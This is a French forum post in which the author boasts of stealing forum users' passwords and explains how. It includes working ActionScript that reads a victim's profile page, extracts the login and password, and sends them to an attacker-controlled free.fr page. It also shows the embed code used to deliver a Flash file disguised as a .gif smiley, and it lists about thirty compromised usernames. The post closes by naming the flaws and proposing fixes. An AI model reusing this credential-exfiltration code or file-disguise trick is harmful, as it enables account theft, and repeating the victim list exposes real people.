je précise avant tout :
ce post est à carractère informatif, je dégage toute responsabilité dans le cas d'une utilisation méchante de ces infos
yo les moules
bon je vais vous expliquer comment j'ai reussi à hacker le forum.. je sais, ça fait longtemps que vous attendez.. j'ai eu pleins de mp et tout.. bref..
vous allez voir, c'est tout bidon.
Bon tout a commencé en observant le code source html du forum..
hop je vous montre ce qui m'a un peu choqué :
<tr bgcolor="#C9DBED"> <td valign="top" width="1%"><b class="text2big">Nom d'utilisateur</b></td>
<td valign="top"> <input maxlength="25" accesskey="p" size="25" name="pseudo" value="Mr yvele" /> <a href="inscription.php3?interface=&config=" class="text2small">Pour poster, vous devez être inscrit sur ce forum .... si ce n'est pas le cas, cliquez ici !</a>
</td>
</tr>
<tr bgcolor="#C9DBED" style="display: none" id="passf"> <td valign="top"><b class="text2big">Mot de passe :</b></td>
<td valign="top"> <input type="password" maxlength="40" size="25" name="password" value="monpitipassword" /> <a href="password.php3?interface=&config=" class="text2small"><b>Vous avez perdu votre mot de passe ? Cliquez ici !</b></a>
</td>
</tr> |
oui, vous n'avez pas rêvé :
name="password" value="monpitipassword"
name="pseudo" value="Mr yvele"
votre login et votre mot de passes étaient visibles dans le code source de la page
donc n'importe quel gugus qui ouvre une page du forum avec les cookies d'un autre, peu connaitre son mot de passe sans problemes.. bref..
maintenant le but, c'est que je puisse connaitre le mot de passe du gars sans avoir besoin de me glisser devant son pc pendant qu'il va pisser un bol
bref.. j'me suis dit comme ça que je pourrais, via une page hebergée chez moi, inclure la page profil de hrf, qui contient le mot de passe, dans une iframe.. puis, via un javascript (je crois.. je sais plus trop), recuperer le code source de cette fameuse iframe
Puis, enfin, l'envoyer via GET, vers une page php qui s'occuperait de stocker le bazard..
exemple :
Dans ma page hebergée par free:
<iframe src="http://forum.hardware.fr/profile.php3?config=&interface=">
</iframe> |
mais bon, j'avais pas pensé à un truc, c'est que le cookie de hfr ne marche pas, vu qu'il est appellé indirectement pas une page située autre part que sur http://forum.hardware.fr et c'est la page mère qui compte pour l'ouverture du cookie.
conclusion :
il est impossible de lire la valeur d'un cookie depuis un site web si ce cookie a été placé depuis un autre site web. meme pas par appel indirecte..
(le web c'est de la qualitay! c'est bien fait quand meme! )
bref.. donc, il faut que le script éxécuté par la cible, soit télechargé à partir de http://forum.hardware.fr..
donc uploader chez hfr, un michant fichier..
et quel moyen permet d'uploader des fichiers sur leur serveur?
- les avatars
- les smileys perso
les avatars requierent une validation du modo.. donc ça pourrait pas marcher..
par contre le smiley perso, on pouvait faire comme on voulait..
donc j'ai fait un petit fichier swf (oui, flash )
avec ceci codé en actionscript :
Code :
- //chargement des variables
- phpvars = new LoadVars();
- phpvars.load("http://forum.hardware.fr/profile.php3?config=&interface=" );
- phpvars.onLoad = function()
- {
- if(getBytesLoaded >= getBytesTotal)
- {
- str = phpvars.toString();
-
- debut = str.indexOf("value%3D%22",0)+11;
- fin = str.indexOf("%22%3E%0A",debut+1);
- l = str.slice(debut,fin);
-
- debut = str.indexOf("value%3D%22",fin)+10;
- fin = str.indexOf("%22%3E%0A",debut+1);
- p = str.slice(debut,fin);
- tophp = new LoadVars();
- tophp.a = l;
- tophp.b = p;
-
- tophp.send("http://truc.free.fr/page.php" );
- }
- }
|
bon, ça se passe de commentaires..
on récupère le contenu de http://forum.hardware.fr/profile.php3, on cherche les trucs qui nous interresse et on envoie tout via POST ou GET, vers un page php.. qui s'occupe de tout stocker!
bon cool ça marche!
j'essaye d'uploader le .swf.. ça passe pas
je renome le .swf en .gif .... ça passe!
voila.. il suffit plus que de faire une vieille page html qui pointe vers mon fichier flash camouflé!
hop :
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width=80 height=50><param name=movie value=http://forum.hardware.fr/images/Mr%20yvele.gif>
<param name=quality value=high>
<param name=bgcolor value=#FFFFFF>
</object> |
maintenant j'utilise mon multi (le smiley perso à été uploadé chez lui bien sur, histoire qu'on sache pas que c'est moi)
je crée des topics bidon rameuteur de troupe chez mes copains de graphisme et programmation puis discussion aussi hein
j'y poste mon liens, qui lui pointe vers le swf caché, qui lui meme pointe vers la page de profil et la page de sauvegarde
hop j'attend 10-15 min..
ouèèèè plein de blaireaux tombent dans le piège à loup
hop pou rle fun, la liste :
login: parappa
login: fondbleu
login: nepheast
login: Mr%20yvele
login: Enzan
login: moazaaa
login: mattc
login: pulpipi
login: Miguelito%20Loveless
login: darth21
login: dago
login: HFrBaXtER
login: mareek
login: atigrou
login: Maraude
login: kewuy
login: Meganne
login: pangolator
login: The%20Beast
login: rarules
login: uriel
login: uriel
login: Burgergold
login: uriel
login: XP1700
[g]login: marc[/g]
login: mrbebert
login: Autobot
login: Autobot
login: denis1
login: simogeo
login: Space
login: DesuetCR%5FB
login: suri |
yeah comme vous pouvez le voir, j'aivais le mot de passe de marc..
donc la possibilité de tout faire sur le forum..
y compris mettre "Mr yvele" en super admin!
voici les screens :
http://iicrew.free.fr/hack%20hfr/
y a de tout..
voila..
donc 3 grandes failles béantes :
1) présence du password login dans la source html
2) mauvaise vérification du fichier image uploadé (utiliser exif_imagetype() en php)
3) smiley perso non controllé par les modos
Encore un truc à signaler.. à propos des urls foireuse..
genre poser une url cachée sur un topic, qui pointe vers une page du forum qui, par exemple efface tout les drapos, ou, met des gens en ignore list
exemple :
http://www.google.fr/
donc la, joce n'a rien fait pour parer ce tour de passe passe.. mais il y a des solutions (que j'ai soumis à joce, mais il veut rien entendre.. )
genre genérer un muméro unique pour chaque forumeur, et le demander dans toutes ses urls (enfin juste les urls à rique, pas les viewtopic et compagnie)
du coup l'url pointant vers
http://forum.hardware.fr/suppressf [...] rid=564231
ne sera applicable que pour le forumeur ayant l'id 564231..
solution facile à mettre en place, pour eviter les pieges url de masse!
(et puis je signale que j'ai toutes les urls de d'administration du forum.. et je pourrais donc les cacher en attendant qu'un modérateur maladroit clique dessus, puis effectue une action non souhaitée! )
lol bon..
alors voila.. je vous avez dit que c'était tout bidon!
---------------
yvele n'est plus.